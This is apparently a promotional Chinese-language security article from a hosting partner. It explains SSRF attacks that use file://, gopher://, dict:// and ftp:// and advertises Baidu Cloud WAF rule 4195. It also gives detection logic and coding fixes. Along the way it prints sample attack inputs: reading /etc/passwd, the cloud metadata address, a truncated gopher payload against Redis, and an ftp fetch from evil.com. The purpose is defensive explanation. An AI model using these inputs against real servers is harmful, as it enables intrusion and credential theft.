你以为防火墙挡住了所有外部攻击?SSRF(服务器端请求伪造)却能让攻击者“借刀杀人”——利用你的服务器去攻击内网系统、读取本地文件、甚至拿下云主机元数据。当攻击者使用
file://、gopher://、dict://等高危协议时,危害会成倍放大。百度云防护内置规则ID 4195 专门检测此类攻击,在网络层提前阻断。
一、 什么是SSRF?高危协议如何被利用?
1.1 SSRF攻击原理
SSRF(Server-Side Request Forgery)是指攻击者利用服务端代码中的URL请求功能(如 curl、file_get_contents、HttpClient 等),诱使服务器向攻击者指定的地址发起请求。这个地址可以是:
- 内网敏感服务:
http://192.168.1.1/admin - 本地文件:
file:///etc/passwd - 云元数据接口:
http://169.254.169.254/latest/meta-data/ - 其他协议:
gopher://、dict://、ftp://等
1.2 高危协议及其危害
攻击者常利用以下协议绕过常规HTTP过滤,扩大攻击面:
| 协议 | 示例 | 危害 |
|---|---|---|
file:// | file:///etc/passwd | 读取服务器任意文件 |
gopher:// | gopher://192.168.1.1:6379/_*2%0d%0a$4... | 攻击内网Redis、MySQL等TCP服务 |
dict:// | dict://127.0.0.1:11211/stats | 探测内网服务信息 |
ftp:// | ftp://evil.com/恶意文件 | 导致服务器主动下载恶意文件 |
jar://、netdoc:// 等 | 特定语言扩展协议 | 触发反序列化或任意文件读取 |
典型攻击链路:
- 攻击者找到一处URL参数(如
?url=http://example.com/image.jpg)。 - 将参数改为
gopher://内网IP:端口/_恶意TCP载荷。 - 服务器对内网Redis发起请求,写入SSH公钥或反弹Shell。
二、 SSRF的危害:从内网探测到远程代码执行
| 危害等级 | 具体后果 |
|---|---|
| 高危 | 攻击内网数据库、缓存、消息队列,直接控制其他业务系统 |
| 严重 | 读取云主机元数据(如AWS/阿里云/腾讯云的临时凭证),获得云API权限 |
| 中危 | 端口扫描、服务指纹识别,为后续攻击铺路 |
| 信息泄露 | 读取本地文件(配置文件、源码、密码) |
真实案例:某知名社交平台曾因SSRF漏洞,攻击者利用 gopher:// 协议攻击内网Elasticsearch,窃取数亿用户数据。
三、 为什么传统WAF难以防御SSRF?
- 协议变种多:攻击者可混合使用
http://、https://与高危协议,或进行URL编码、双重编码绕过。 - 正常业务需要:某些应用确实需要向第三方发起请求(如头像拉取、Webhook),简单封禁URL参数会误伤业务。
- 缺乏上下文分析:传统WAF只检测请求参数中是否包含IP或域名,无法判断目标是否属于内网或使用了危险协议。
四、 百度云防护如何拦截?规则4195深度解析
从百度云防护内置规则库可以看到:
| 规则名称 | 规则ID | 风险等级 | 防护类型 | 规则描述 |
|---|---|---|---|---|
| SSRF.target_protocol.A | 4195 | 中风险 | SSRF服务端请求伪造 | 检测利用高危协议进行SSRF的Web攻击 |
4.1 检测原理
该规则不依赖简单的关键词黑名单,而是通过多层解码 + 协议特征识别 + 内网地址检测组合判断:
- 协议特征识别:自动检测请求参数(URL、Query、POST Body、Header)中是否包含
file://、gopher://、dict://、ftp://、jar://等高风险协议。 - 内网地址检测:若URL参数中出现内网IP段(如
10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8)或云元数据地址169.254.169.254,触发告警。 - 编码还原:自动解码
%66%69%6c%65%3a%2f%2f(即file://)、双重编码、Unicode编码等混淆形式。
4.2 低误报设计
正常业务极少向 file://、gopher:// 等协议发起请求,且很少主动请求内网IP或元数据地址。规则经过海量真实流量训练,误报率极低。若确有合法需求(如内部API调用),可通过白名单放行。
五、 如何启用百度云防护规则4195?
如果你已接入百度云防护WAF,只需两步:
- 登录控制台 → 防护配置 → Web防护 → 内置规则
- 搜索规则ID 4195,确认状态为“开启”,动作为“拦截”
建议:首次可设为“观察”模式运行1-2天,确认无业务误报后再改为“拦截”。
六、 开发人员如何从源头修复SSRF漏洞?
除了依赖WAF,开发者应遵循以下安全编码规范:
- 白名单校验:限制URL参数只能访问预先允许的域名或IP,禁止用户控制完整URL。
- 禁用危险协议:使用
parse_url()提取协议,只允许http和https。 - 内网IP黑名单:检查解析后的IP是否为内网地址或回环地址,若是则拒绝。
- 使用安全库:如Java的
HttpClient禁用重定向、限制超时。 - 云元数据防护:在服务器层面配置防火墙规则,禁止向外请求
169.254.169.254。
七、 主机吧总结:让SSRF“无路可走”
SSRF攻击利用的是服务器对用户输入的“信任”,而高危协议让这种信任变成了灾难。百度云防护规则4195通过协议识别+内网检测+多层解码,在攻击者尝试利用 gopher:// 打穿内网或 file:// 读取敏感文件之前,提前阻断恶意请求。
如果你还不确定自己的网站是否存在SSRF风险,或想为网站加上一道主动防御屏障,欢迎联系主机吧。我们提供免费安全评估和配置指导。
主机吧 | 百度云防护官方合作伙伴
提供WAF接入、高防CDN、高防IP、高防服务器、SSL证书一站式服务
让每一次SSRF都无处遁形,让每一台服务器都固若金汤。


